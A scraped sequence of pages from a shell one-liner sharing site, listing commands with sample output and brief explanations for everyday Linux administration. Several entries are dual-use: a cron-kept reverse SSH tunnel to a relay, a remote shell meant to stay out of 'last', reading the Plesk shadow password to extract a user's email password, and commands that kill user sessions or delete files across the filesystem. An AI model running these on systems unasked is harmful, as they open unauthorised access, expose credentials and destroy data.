ssh tar improve copy file over ssh showing progress You set the file/dirname transfer variable, in the end point you set the path destination, this command uses pipe view to show progress, compress the file outut and takes account to change the ssh cipher. Support dirnames with spaces. Merged ideas and comments by http://www.commandlinefu.com/commands/view/4379/copy-working-directory-and-compress-it-on-the-fly-while-showing-progress and http://www.commandlinefu.com/commands/view/3177/move-a-lot-of-files-over-ssh for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done Functions: bzip2 date dd echo seq Compression formats Benchmark See: http://imgur.com/JgjK2.png for example. Run: gnuplot -persist <(echo "plot 'lzma' with lines, 'gzip' with lines, 'bzip2' with lines") To see it in graph form. perl -pe's/([\d.]+)/localtime $1/e;' perl -pe's/([\d.]+)/localtime $1/e;' /var/nagios/nagios.log [Tue Jan 19 09:48:00 2010] HOST EVENT HANDLER: winboxen.example.com;(null);(null);(null);notify-host-by-email Perl one liner for epoch time conversion Converts Unix epoch time to localtime. Useful for any logs that only display epoch time. sed '10,20!d' Subtly different to the -n+p method... and probably wrong in so many ways....... But it's shorter. Just. ps -ef --sort=-%cpu List processes sorted by CPU usage [[ $(COLUMNS=200 ps faux | awk '/grep/ {next} /ssh -N -R 4444/ {i++} END {print i}') ]] || nohup ssh -N -R 4444:localhost:22 user@relay & Functions: awk nohup ps ssh ensure your ssh tunnel will always be up (add in crontab) I find it ugly & sexy at the same time isn't it ? eval $(sed -n "s/^d[^D]*DB_\([NUPH]\)[ASO].*',[^']*'\([^']*\)'.*/_\1='\2'/p" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls` gpg: using PGP trust model gpg: using subkey 8B2 instead of primary key 6B40 gpg: This key belongs to us gpg: reading from `[stdin]' gpg: writing to stdout gpg: ELG-E/AES256 encrypted for: "82 AskApache <webmaster@askapache.com>" 081809-0255.askapache-blog2342.sqls Functions: eval gpg sed Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php The coolest way I've found to backup a wordpress mysql database using encryption, and using local variables created directly from the wp-config.php file so that you don't have to type them- which would allow someone sniffing your terminal or viewing your shell history to see your info. I use a variation of this for my servers that have hundreds of wordpress installs and databases by using a find command for the wp-config.php file and passing that through xargs to my function. ( IFS=:; for p in $PATH; do echo $p; done ) /usr/X11R6/bin The output of "echo $PATH" is hard to read, this is much easier. The parentheses ensure that the change to the input field separator (IFS) only happens the the sub shell and not affecting the current shell. aptitude install '?and(~nlib.*perl, ~Dmodule)' Bulk install Like 7172, but much easier. xfconf-query -c xfce4-desktop -p /backdrop/screen0/monitor0/image-path -s <image-file> Change wallpaper for xfce4 >= 4.6.0 Simply changes the wallpaper of xfce4 from the command line. Not for multiple displays. grep -PL "\t" -r . | grep -v ".svn" | xargs sed -i 's/\t/ /g' Replace all tabs with spaces in an application Note that this assumes the application is an SVN checkout and so we have to throw away all the .svn files before making the substitution. ( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s\([0-9]*\).*/\1/'); vim +$l $(locate apache2.conf | head -n1))) Functions: head locate sed vim Check apache config syntax and restart or edit the file Checks the apache configuration syntax, if is OK then restart the service otherwise opens the configuration file with VIM on the line where the configuration fails. ps aux | sort +2n | tail -20 Functions: ps sort tail Show the 20 most CPU/Memory hungry processes This command will show the 20 processes using the most CPU time (hungriest at the bottom). You can see the 20 most memory intensive processes (hungriest at the bottom) by running: ps aux | sort +3n | tail -20 Or, run both: echo "CPU:" && ps aux | sort +2n | tail -20 && echo "Memory:" && ps aux | sort +3n | tail -20 sudo vol_id -u /dev/sda1 c0cddfdb-8a0b-4b45-afb1-b904825bf31d Shows the UUID of a filesystem or partition that can be used in kernel root options and in fstab. Run it without the -u option to generate more information. eg: ~/ sudo vol_id /dev/sda2 ID_FS_USAGE=other ID_FS_TYPE=swap ID_FS_VERSION=2 ID_FS_UUID=27fca13d-97b7-4d28-882c-6d03353f0a82 ID_FS_UUID_ENC=27fca13d-97b7-4d28-882c-6d03353f0a82 ID_FS_LABEL= ID_FS_LABEL_ENC= \rm somefile use the real 'rm', distribution brain-damage notwithstanding The backslash avoids any 'rm' alias that might be present and runs the 'rm' command in $PATH instead. In a misguided attempt to be more "friendly", some Linux distributions (or sites/etc.) alias 'rm' to 'rm -i'. Unfortunately, this trains users to expect that files won't actually be deleted until they okay it. This expectation will fail with catastrophic results when they use other distributions, move to other sites, etc., and doesn't really even work 100% even with the alias. It's too late to fix 'rm', but '\rm' should work everywhere (under bash). losetup /dev/loop0 harddrive.img; kpartx -a -v /dev/loop0; mount /dev/mapper/loop0p1 /mountpoint/ Functions: losetup mount Mount partition from image (without offset mount) cat /dev/urandom | gzip -9 > /dev/null & [1] 12345 Functions: cat gzip useless load check your load with top... Start more of these jobs to get an multi-core cpu busy... say -f file.txt Read aloud a text file in Mac OS X Say if you're logged into a remote system via ssh and this system has an x window system, but yet you still want a screen shot of what's going on graphically. This will do it for you. :-) sudo dpkg-reconfigure -a Cleanup debian/ubuntu package configurations Sometimes, simpler is better. find $(dpkg -L iptables) -maxdepth 0 -executable -type f Maybe not clean with big package and too long argument. But return every file who can be executed. alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"' ~% echo Command-line-fu | rot13 Pbzznaq-yvar-sh ~% echo Pbzznaq-yvar-sh | rot13 Command-line-fu rot13 simple substitution cipher via command line E.g. Useful for hiding spoilers in reviews, etc. ps -eo pcpu,pid,args | sort -n 0.8 25686 gnome-terminal 1.3 23966 /usr/lib/thunderbird/thunderbird-bin 35.9 6638 /usr/lib/firefox-3.0.6/firefox Current running process ordered by %CPU Useful to detect which process is causing system loads. It shows process PID so as we can take further actions. gpg -c <filename> dhinesh@ubuntu:~$ gpg -c sample.rb Enter passphrase: Repeat passphrase: dhinesh@ubuntu:~$ Encryption file in commad line This will encrypt your single file and create a filename.gpg file. Option: * -c : Encrypt with symmetric cipher To decrypt dhinesh@ubuntu:~$ gpg -c sample.rb.gpg ‹ First < 84 85 86 87 88 > Last › ps -o etime `pidof firefox` |grep -v ELAPSED | sed 's/\s*//g' | sed "s/\(.*\)-\(.*\):\(.*\):\(.*\)/\1d \2h/; s/\(.*\):\(.*\):\(.*\)/\1h \2m/;s/\(.*\):\(.*\)/\1m \2s/" Functions: grep ps sed To find the uptime of each process-id of particular service or process quickemail() { echo "$*" | mail -s "$*" email@email.com; } Email yourself a short note I created this so I could send myself an email alert when a long-running job was finished, e.g., my_long_job.exe ; quickemail my_long_job.exe has finished netstat -ant | grep :80 | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n Show in a web server, running in the port 80, how many ESTABLISHED connections by ip it has. The command could show you all conecctions if you skip "grep ESTABLISHED" %! perl -MO=Deparse | perltidy clean up syntax and de-obfuscate perl script the command show can be run in vim, here is the same thing on the command line cat script.pl | perl -MO=Deparse | perltidy ffmpeg -i input_file.avi output_file.webm Convert (almost) any video file into webm format for online html5 streaming curl "http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ | base64)/plaintext" for me the above command didn't work for more than one argument but this one does alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments' $ ds saintaardvarkthecarpeted.com mx saintaardvarkthecarpeted.com. 300 IN MX 5 thornhill.saintaardvarkthecarpeted.com. $ ds -x 198.103.112.150 150.112.103.198.in-addr.arpa. 3600 IN PTR www.primeminister.gc. 150.112.103.198.in-addr.arpa. 3600 IN PTR www.premierministre.g 150.112.103.198.in-addr.arpa. 3600 IN PTR www1.pm.gc.ca. 150.112.103.198.in-addr.arpa. 3600 IN PTR www2.pm.gc.ca. 150.112.103.198.in-addr.arpa. 3600 IN PTR www5.pm.gc.ca. 150.112.103.198.in-addr.arpa. 3600 IN PTR ddt-sft.gc.ca. 150.112.103.198.in-addr.arpa. 3600 IN PTR sft-ddt.gc.ca. 150.112.103.198.in-addr.arpa. 3600 IN PTR primeminister.gc.ca. 150.112.103.198.in-addr.arpa. 3600 IN PTR premierministre.gc.ca 150.112.103.198.in-addr.arpa. 3600 IN PTR pm.gc.ca. Short and sweet output from dig(1) Turn off almost all of dig's output except for what you'd see in a zone file. This can also be put into ~/.digrc. cd /mnt/old && tar cvf - . | ( cd /mnt/new && tar xvf - ) Backup of a partition Clone a partion with tar. xargsb() { while read -r cmd; do ${@//'{}'/$cmd}; done; } xargs for builtin bash commands Similar to xargs -i, but works with builtin bash commands (rather than running "bash -c ..." through xargs) ln -nvfs /source /destination Creates a symbolic link or overwrites an existing one -n: dereference the existing link -v: (optional) to be sure of what is being done -f: force the deletion of the existing one -s: creates a symlink Be careful: the destination can also be a file or a directory and it will be overwritten. egrep '^[^#]' some_file display contents of a file w/o any comments or blank lines echo "SECRET MESSAGE" | gpg -e --armor -s | sendmail USER@DOMAIN.COM Functions: echo gpg sendmail Send a signed and encrypted email from the command line A very simple command to send a signed and encrypted message from the command line using GPG Keys lsof -n | grep /media/cdrom which process is accessing the CDROM alias a=" killall rapidly_spawning_process"; a; a; a; kills rapidly spawning processes that spawn faster than you can repeat the killall command if you dont want to alias also then you can do killall rapidly_spawning_process ; !! ; !! ; !! man -k <keyword> $ man -k e2fs dumpe2fs (8) - dump ext2/ext3 filesystem information e2fsck (8) - check a Linux ext2/ext3 file system e2fsck.conf (5) - Configuration file for e2fsck mke2fs (8) - create an ext2/ext3 filesystem mke2fs.conf (5) - Configuration file for mke2fs resize2fs (8) - ext2/ext3 file system resizer tune2fs (8) - adjust tunable filesystem parameters on ext2/ext3 filesystems Search manpages for a keyword Search manpages for a keyword. Very useful when you don't know where to find the information. xinit -- :1 from the console, start a second X server This starts a very basic X session, with just a simple xterm. You can use this xterm to launch your preferred distant session. ssh -X john@otherbox gnome-session Try also startkde or fluxbox or xfce4-session. To switch between your two X servers, use CTRL+ALT+F7 and CTRL+ALT+F8. find . -maxdepth 2 -name "*somepattern" -print0 | xargs -0 -I "{}" echo mv "{}" /destination/path #comment: output only occurs with echo in xargs command, without echo the below would #not appear. mv /path/of/found/directory/filename /destination/path Functions: echo find mv xargs Faster find and move using the find and xargs commands. Almost as fast as locate. Only tested on Linux Ubunty Hardy. Works when file names have spaces. The "-maxdepth 2" limits the find search to the current directory and the next one deeper in this example. This was faster on my system because find was searching every directory before the current directory without the -maxdepth option. Almost as fast as locate when used as above. Must use double quotes around pattern to handle spaces in file names. -print0 is used in combination with xargs -0. Those are zeros not "O"s. For xargs, -I is used to replace the following "{}" with the incoming file-list items from find. Echo just prints to the command line what is happening with mv. mv needs "{}" again so it knows what you are moving from. Then end with the move destination. Some other versions may only require one "{}" in the move command and not after the -I, however this is what worked for me on Ubuntu 8.04. Some like to use -type f in the find command to limit the type. infocmp rxvt-unicode | ssh 10.20.30.40 "mkdir -p .terminfo && cat >/tmp/ti && tic /tmp/ti" Send your terminfo to another machine I frequently use this trick to send my terminal settings to HPUX and older RHEL systems. This is due to the fact that terminfo support for rxvt-unicode (my preferred terminal app) does not exist on many older Linux and Unices. tail -n 0 -f /var/log/messages Watch contents of a file grow In this case, I'm keeping an eye on /var/log/messages, but of course any file will do. When I'm following a file, I generally don't want to see anything other than what has been added due to the command or service I've executed. This keeps everything clean and tidy for troubleshooting. mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi Reencodes to MPEG-4 DivX output video file from step 1. Audio stream is simply copied. Resizes to 320x240 and deinterlaces as needed. A heading subtitle file is applied as watermark. This heading subtitle file can be a URL. mencoder -oac copy -ovc copy part1.avi part2.avi part3.avi -o full_movie.avi Merge video files together using mencoder (part of mplayer) Using mplayer's mencoder, you can merge video files together. '-oac' specifies the audio encoding (here copy, to just copy and not compress) '-ovc' specifies the video encoding (same thing). rm file{1..10} Remove several files with ease Rather than typing out all 10 files, you can use brace expansion to do the trick for you. This is useful for backup files, numbered files, or any files with a repeating pattern. Gives more control than 'rm file*' as I might want to keep others around. mysql -uadmin -p`cat /etc/psa/.psa.shadow` -e "use psa; select accounts.password FROM accounts JOIN mail ON accounts.id=mail.account_id WHERE mail.mail_name='webmaster';" +-------------+ | password | | XXXXXXXXXX | Pulls email password out of Plesk database for given email address. This simply pulls the password out of the database for the given mail name for ease of use in testing emails that you would not normally have access to. wget `lynx -dump http://www.ebow.com/ebowtube.php | grep .flv$ | sed 's/[[:blank:]]\+[[:digit:]]\+\. //g'` Grab all .flv files from a webpage to the current working directory I wanted all the 'hidden' .flv files from the http link in the command line; wget seemed appropriate, fed with output from lynx, grep the flv files and the normalised via sed (to remove the numeric bullet). Similar to the 'Grab mp3 files' fu. Replace link with your own, grep arg with something more interesting ;) See here for something along the same lines... http://www.commandlinefu.com/commands/view/1006/grab-mp3-files-from-your-favorite-netcasts-mp3blog-or-sites-that-often-have-good-mp3s Hope you find it useful! Improvements welcome, naturally. sed -n 's/.*<title>\(.*\)<\/title>.*/\1/ip;T;q' file.html Extract title from HTML files This command can be used to extract the title defined in HTML pages ‹ First < 85 86 87 88 89 > Last › declare -f [ function_name ] $ declare -f cd cd () builtin cd "${@:-$HOME}" && ls -F -G -H -hol Show bash's function definitions you defined in .bash_profile or .bashrc If you omit the function name, the command will display all definitions rpm -q -a --qf '%10{SIZE}\t%{NAME}\n' | sort -k1,1n Functions: rpm sort List all packages by installed size (Bytes) on rpm distros dpkg -l aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4 List manually installed packages (excluding Essentials) git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}' 0165c83d3ec75edded1066f4a042218748f5ef56 Added escaping of keywords on single view 94da1903caec853a3fd183405f3925e2e682b240 Test change to file 299fa310ddbb532a673e35f08c1944ae51f26261 Removed swap files Useful when quickly looking for a commit id from a branch to use with git cherry-pick. date --date="1 fortnight ago" Fri Jan 23 14:53:27 CST 2009 date offset calculations The date command does offset calculations nicely, handles concepts like "a month" as you'd expect, and is good for offsets of at least 100M years in either direction. find [path] [expression] -exec du -ab {} \; | awk '{total+=$0}END{print total}' Sum size of files returned from FIND pdftohtml -i -stdout FILE.pdf | w3m -T text/html Read PDFs in the command line Turns a PDF into HTML (without images) and prints it to the standard out which is picked up and interpreted by w3m. export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)' Functions: date echo export printf watch StopWatch, simple text, hh:mm:ss using Unix Time Works on real time clock, unix time based, decrementing the actual time from initial time saved in an environment variable exported to child process inside watch Shows elapsed time from start of script in hh:mm:ss format Non afected by system slow down due to the use of date. for file in *.7z; do 7zr e "$file"; done Extract all 7zip files in current directory taking filename spaces into account sudo powertop Top causes for wakeups: 32.1% (291.8) firefox : hrtimer_start_range_ns (hrtimer_wakeup) Suggestion: increase the VM dirty writeback time from 5.00 to 15 seconds with: echo 1500 > /proc/sys/vm/dirty_writeback_centisecs This wakes the disk up less frequently for background VM activity Suggestion: Enable SATA ALPM link power management via: echo min_power > /sys/class/scsi_host/host0/link_power_management_policy or press the S key. Suggestion: Disable 'hal' from polling your cdrom with: hal-disable-polling --device /dev/cdrom 'hal' is the component that auto-opens a window if you plug in a CD but disables SATA power saving from kicking in. Measure, explain and minimize a computer's electrical power consumption Run this command as root to get enough stats. It works on AMD and Intel machines, including desktops. If ran on a laptop it'll give you suggestions on extending your battery life. You'll need to install PowerTOP if you don't have, via 'apt-get install powertop', etc. To grep the output use: sudo powertop -d | grep ... The many command suggestions PowerTOP gives you alone will increase your command-line fu! getent hosts google.com | awk '{print $1}' Functions: awk getent Get just the IP for a hostname has the benefit of being a bit more cross-platform. lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head sten@fenris:~$ sudo lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head Show top running processes by the number of open filehandles they have I think I could cut down the number of pipes here, any suggestions? random -f <file> Randomize lines (opposite of | sort) random(6) - random lines from a file or random numbers echo data | nc -q 0 host 5000 Functions: echo host Connect to TCP port 5000, transfer data and close connexion. With no '-q 0' switch, nc simply waits, and whatever awaits the data hangs. optipng -o3 *png && advpng -z -4 *png && advdef -z -4 *png Maximum PNG compression with optipng, advpng, and advdef optipng and advancecomp (for the the advpng and advdef tools) are the best FOSS tools for losslessly compressing PNGs. With the above tool chain, you can cut off as much as 20% off a PNG's file size. find . -name "*.txt" -exec sed -i "s/old/new/" {} \; find . -name ssh -T user@host /bin/bash -i "hidden" remote shell opens a "hidden" remote shell (login will not appear in "last" for example). This is not really hidden, because the login will be shown in auth.log and the process is visible anyways. ssh -T = Disable pseudo-tty allocation. bash -i = interactive shell free -m | awk '/Mem/ {print $4}' Functions: awk free Print number of mb of free ram read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep :$(echo ${DISPLAY: -4:2}));sudo su - $u $ id -un olduser $ xauth list localhost/unix:10 MIT-MAGIC-COOKIE-1 fcc8934e033577e212791d9fa9e0aaff localhost/unix:11 MIT-MAGIC-COOKIE-1 3b3c04952077c667430536d2ef621275 $ echo $DISPLAY localhost:10.0 $ read -p 'Username: ' u;sudo -H -u $u xauth add $(xauth list|grep $(echo ${DISPLAY: -4:2}));sudo su - $u Username: newuser newuser Functions: echo grep read su Propagate X session cookies on a different user and login as that user Reads a username from ifconfig | grep "0xffffffff" | awk '{ print $2 }' | xargs -n 1 ifconfig em0 delete Functions: awk grep ifconfig xargs The example command deletes all aliases for network interface 'em0' assuming that the aliases have netmask of 255.255.255.255 and the master IP has some other netmask (such as 255.255.255.0). See here -> http://my.galagzee.com/2009/07/22/deleting-all-network-interface-aliases/ for more on the rationale of this command. sed '/test/{/error\|critical\|warning/d}' somefile If you wanted to do all in one command, you could go w/ sed instead du -hs *|grep M|sort -n 1,1M htdig 1,1M xml 1,2M empathy 52M man 55M locale 72M gtk-doc 94M apps 258M icons 316K ImageMagick-6.5.0 366M doc This is easy to type if you are looking for a few (hundred) "missing" megabytes (and don't mind the occasional K slipping in)... A variation without false positives and also finding gigabytes (but - depending on your keyboard setup - more painful to type): du -hs *|grep -P '^(\d|,)+(M|G)'|sort -n (NOTE: you might want to replace the ',' according to your locale!) modify the globbing as needed! (e.g. '.[^\.]* *' to include hidden files and directories (w/ bash)) in its core similar to: http://www.commandlinefu.com/commands/view/706/show-sorted-list-of-files-with-sizes-more-than-1mb-in-the-current-dir pkill <name> See also: killall perl -pe 'eof()||s/\n/<SOMETEXT>/g' file.txt line three line four line five $ perl -pe 'eof()||s/\n/, /g' file.txt line one, line two, line three, line four, line five This command turns a multi-line file into a single line joined with <SOMETEXT>. To skip blank lines, use: perl -pe '(eof()||s/^\s*$//)||s/\n/<SOMETEXT>/g' file.txt ‹ First < 86 87 88 89 90 > Last › host {checkIp or hostname} [dns server] >host someServer 10.xxx.xx.xxx Using domain server: Name: 10.xxx.xx.xxx Address: 10.xxx.xx.xxx#53 Aliases: someServer.madeup.com is an alias for theOtherServer04.madeup.com. theOtherServer04.madeup.com has address 10.134.159.86 Functions: host I'm just a simple programmer. I find dig too verbose. host tells me alias(es) and IP address in a quick to grok format with nothing special to remember for input parameters. With thanks to http://www.cyberciti.biz/faq/how-to-test-or-check-reverse-dns/ free -m | awk '/buffer/ {print $4}' 4920 Here we instead show a more real figure for how much free RAM you have when taking into consideration buffers that can be freed if needed. Unix machines leave data in memory but marked it free to overwrite, so using the first line from the "free" command will mostly give you back a reading showing you are almost out of memory, but in fact you are not, as the system can free up memory as soon as it is needed. I just noticed the free command is not on my OpenBSD box. for f in /sys/class/net/*; do echo -e "$(basename $f)\t$(cat $f/address)"; done List your interfaces and MAC addresses Requires sysfs mounted on /sys - may only be useful for Linux systems. Could also use "printf '%-8s %s\n' $(basename $f) $(cat $f/address)" instead of echo. kill -9 `ps ax | egrep [f]elix.jar | egrep -o -e '^ *[0-9]+'` Functions: egrep kill Somtime one wants to kill process not by name of executable, but by a parameter name. In such cases killall is not suitable method. DATE=$(date +%Y-%m-%d_%H-%M-%S)-$(($(date +%N)/10000000)); HOST=swordfischer.com; DEST=/home/swordfischer/public_html; URL=https://swordfischer.com/upload/screenshot_$DATE.png; import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Screenshot Taken" "Entire screen.\nCopied to clipboard" https://swordfischer.com/upload/screenshot_2011-08-13_02-32-55-74.png Functions: date echo ssh Screenshot pipe to remote host, adding URL to clipboard, notifying when done. (without saving locally) Requires you to have password free login to remote host ;) Requires xclip and notify-send (If you want to put into clipboard and be notified when action is completed). HOST="ssh host of your choice"; URL="URL for file if uploaded to web enabled dir ie. import -window root png:- | ssh $HOST "cat > $DEST/screenshot_$DATE.png"; echo $URL | xclip; notify-send -u low "Screenshot Taken" "Entire screen.\nCopied to clipboard" check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done) root@nagios plugins]# pwd /usr/lib/nagios/plugins [root@nagios plugins]# ./check_nrpe -H monitored-server -c check_disks_proc_mounts DISK OK - free space: / 5811 MB (59%); /boot 35 MB (57%); /opt 3401 MB (34%); /dev/shm 1948 MB (100%); /tmp 6731 MB (94%); /var 4222 MB (84%);| /=4033MB;8367;8859;0;9844 /boot=26MB;51;54;0;60 /opt=6676MB;8564;9068;0;10076 /dev/shm=0MB;1655;1753;0;1948 /tmp=395MB;6057;6413;0;7126 /var=820MB;4284;4536;0;5041 Functions: cat echo checking space availabe on all /proc/mounts points (using Nagios check_disk) More info here: http://nagioswiki.com/wiki/index.php/Checking_/proc/mounts_on_remote_server watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done } eject -x 8 /dev/cdrom limit the cdrom driver to a specified speed this command limit the speed to 8 until next eject of your cdrom disc , can be usefulll when you don't want to listen the sound of your cdrom driver . netstat | awk '/EST/{print $5}' | sort Sorted list of established destination connections no need grep. its redundant when awk is present. stat -f '%Sp %p %N' * | rev | sed -E 's/^([^[:space:]]+)[[:space:]]([[:digit:]]{4})[^[:space:]]*[[:space:]]([^[:space:]]+)/\1 \2 \3/' | rev -r-xr-xr-x 0555 cat -r-xr-xr-x 0555 chflags -r-xr-xr-x 0555 chio -r-xr-xr-x 0555 chmod -r-xr-xr-x 0555 cp -r-xr-xr-x 0555 csh -r-xr-xr-x 0555 date -r-xr-xr-x 0555 dd -r-xr-xr-x 0555 df -r-xr-xr-x 0555 domainname Functions: rev sed stat Since the original command (#1873) didn't work on FreeBSD whose stat lacks the "-c" switch, I wrote an alternative that does. This command shows also the fourth digit of octal format permissions which yields the sticky bit information. who -u | grep -vE "^root " | kill `awk '{print $7}'` Functions: grep kill who Command to logout all the users in one command Logs all users out except root. I changed the grep to use a regexp in case a user's username contained the word root. curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d' dig +short NS org. a0.org.afilias-nst.info. a2.org.afilias-nst.info. b0.org.afilias-nst.org. b2.org.afilias-nst.org. c0.org.afilias-nst.info. d0.org.afilias-nst.org. Get the list of root nameservers for a given TLD proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; sudo sh -c "$sudor_command"; }; alias sudor="proceed_sudo # " Functions: alias sh sudo sudo for entire line (including pipes and redirects) USAGE: $ sudor your command This command uses a dirty hack with history, so be sure you not turned it off. WARNING! This command behavior differ from other commands. It more like text macro, so you shouldn't use it in subshells, non-interactive sessions, other functions/aliases and so on. You shouldn't pipe into sudor (any string that prefixes sudor will be removed), but if you really want, use this commands: proceed_sudo () { sudor_command="`HISTTIMEFORMAT=\"\" history 1 | sed -r -e 's/^.*?sudor//' -e 's/\"/\\\"/g'`" ; pre_sudor_command="`history 1 | cut -d ' ' -f 5- | sed -r -e 's/sudor.*$//' -e 's/\"/\\\"/g'`"; if [ -n "${pre_sudor_command/ */}" ] ; then eval "${pre_sudor_command%| *}" | sudo sh -c "$sudor_command"; else sudo sh -c "$sudor_command" ;fi ;}; alias sudor="proceed_sudo # " screen -dmS "name_me" echo "hi" Functions: echo screen Start screen with name and run command Runs an instance of screen with name of "name_me" and command of "echo "hi"" To reconnect to screen instance later use: screen -r name_me $COMMAND 2>&1 >/dev/null & WPID=$!; sleep $TIMEOUT && kill $! & KPID=$!; wait $WPID Functions: kill sleep wait I like much more the perl solution, but without using perl. It launches a backgroup process that will kill the command if it lasts too much. A bigger function: check_with_timeout() { [ "$DEBUG" ] && set -x COMMAND=$1 TIMEOUT=$2 RET=0 # Launch command in backgroup [ ! "$DEBUG" ] && exec 6>&2 # Link file descriptor #6 with stderr. [ ! "$DEBUG" ] && exec 2> /dev/null # Send stderr to null (avoid the Terminated messages) $COMMAND 2>&1 >/dev/null & COMMAND_PID=$! [ "$DEBUG" ] && echo "Background command pid $COMMAND_PID, parent pid $$" # Timer that will kill the command if timesout sleep $TIMEOUT && ps -p $COMMAND_PID -o pid,ppid |grep $$ | awk '{print $1}' | xargs kill & KILLER_PID=$! [ "$DEBUG" ] && echo "Killer command pid $KILLER_PID, parent pid $$" wait $COMMAND_PID RET=$? # Kill the killer timer [ "$DEBUG" ] && ps -e -o pid,ppid |grep $KILLER_PID | awk '{print $1}' | xargs echo "Killing processes: " ps -e -o pid,ppid |grep -v PID | grep $KILLER_PID | awk '{print $1}' | xargs kill wait sleep 1 [ ! "$DEBUG" ] && exec 2>&6 6>&- # Restore stderr and close file descriptor #6. return $RET joinargs() { (IFS="$1"; shift && echo "$*") } Functions: echo shift Joins args together using the first arg as glue watch -n 5 -d cat /proc/mdstat Functions: cat watch Monitor Linux/MD RAID Rebuild identify -ping imageName.png Use ImageMagick to get an image's properties echo -e "\e[31m"; while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done; It's the same command as submitted, but first with a command to make all characters green. It's the only way it looked "matrix-like" on my gnome-terminal. wget --spider -v http://www.server.com/path/file.ext use wget to check if a remote file exists convert -colorspace gray face.jpg gray_face.jpg Create black and white image Use ImageMagick to create a "black and white" copy of an image. sudo youtube-dl -U Updating to latest stable version... Updated to version 2010.08.04 Youtube-dl gone stale on you/stopped working (Ubuntu)? If you update youtube-dl from the repos, it becomes out-of-date quickly. Luckily, it can auto-update. find ./* -ctime -1 | xargs ls -ltr --color reduces my time in displaying the last created files / directories files and directories in the last 1 hour added alias in ~/.bashrc alias lf='find ./* -ctime -1 | xargs ls -ltr --color' for y in $(seq 2009 2011); do cal $y; done Functions: cal seq Printing multiple years with Unix cal command print multiple increasing years using cal - calendar -. You can also try seq Start Increment End ‹ First < 87 88 89 90 91 > Last › ls -ldct /lost+found |awk '{print $6, $7}' svn log -v -r{2009-05-21}:HEAD | awk '/^r[0-9]+ / {user=$3} /yms_web/ {if (user=="george") {print $2}}' | sort | uniq gets all files committed to svn by a particular user since a particular date just change the date following the -r flag, and/or the user name in the user== conditional statement, and substitute yms_web with the name of your module rsync -e 'ssh -p PORT' user@host:SRC DEST rsync over ssh via non-default ssh port tested on cygwin and Fedora 9 . good to remember for those jobs where you cannot set a site-specific connect option in your ~/.ssh/config file. cat <<.>> somefilename > here is a line > here is another line > . write text or append to a file If you just want to write or append some text to a file without having to run a text editor, run this command. After running the command, start typing away. To exit, type . on a line by itself. Replacing the >> with a single > will let you overwrite your file. whereis somecommand Functions: whereis locate bin, src, and man file for a command find / -name *~ -delete user:~$ user$ find / -name *~ /home/user/file.txt~ /home/user/file2.txt~ /home/user/file3.txt~ user:~$ find / -name *~ -delete user:~$ find / -name *~ user:~$ Remove Backup Files Remove all text backup files. cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)" Functions: cal grep Show this month's calendar, with today's date highlighted * The date command evaluated to today's date with blank padded on the left if single digit * The grep command search and highlight today's date * The --before-context and --after-context flags displays up to 6 lines before and after the line containing today's date; thus completes the calendar. I have tested this command on Mac OS X Leopard and Xubuntu 8.10 mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path Mount a partition from dd disk image Assuming we have a disk image, ie. created by dd if=/dev/sda of=image.dd we can check the image's partition layout with fdisk -ul image.dd then, we substitute "x" with starting sector of the partition we want to mount. This example assumes that the disk uses 512 B sectors curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g' use curl and sed to shorten an url via goo.gl ls -lt | more total 1180 -rw-r--r-- 1 george george 14724 2010-02-20 12:43 ArgusOutput.o -rw-r--r-- 1 george george 21392 2010-02-20 12:43 ArgusUtil.o -rw-r--r-- 1 george george 26932 2010-02-20 12:43 ArgusSource.o -rw-r--r-- 1 george george 42720 2010-02-20 12:43 ArgusModeler.o -rw-r--r-- 1 george george 29964 2010-02-20 12:43 argus.o -r--r--r-- 1 george george 28623 2010-02-13 16:10 ArgusTcp.c list files in mtime order Simple but useful; list files in the current directory in mtime order. Useful if you've been working on something and then take a day or two off. export GREP_COLOR='1;32'; cat /dev/urandom | hexdump -C | grep --color=auto "ca fe" Functions: cat export grep hexdump echo StrinG | tr '[:upper:]' 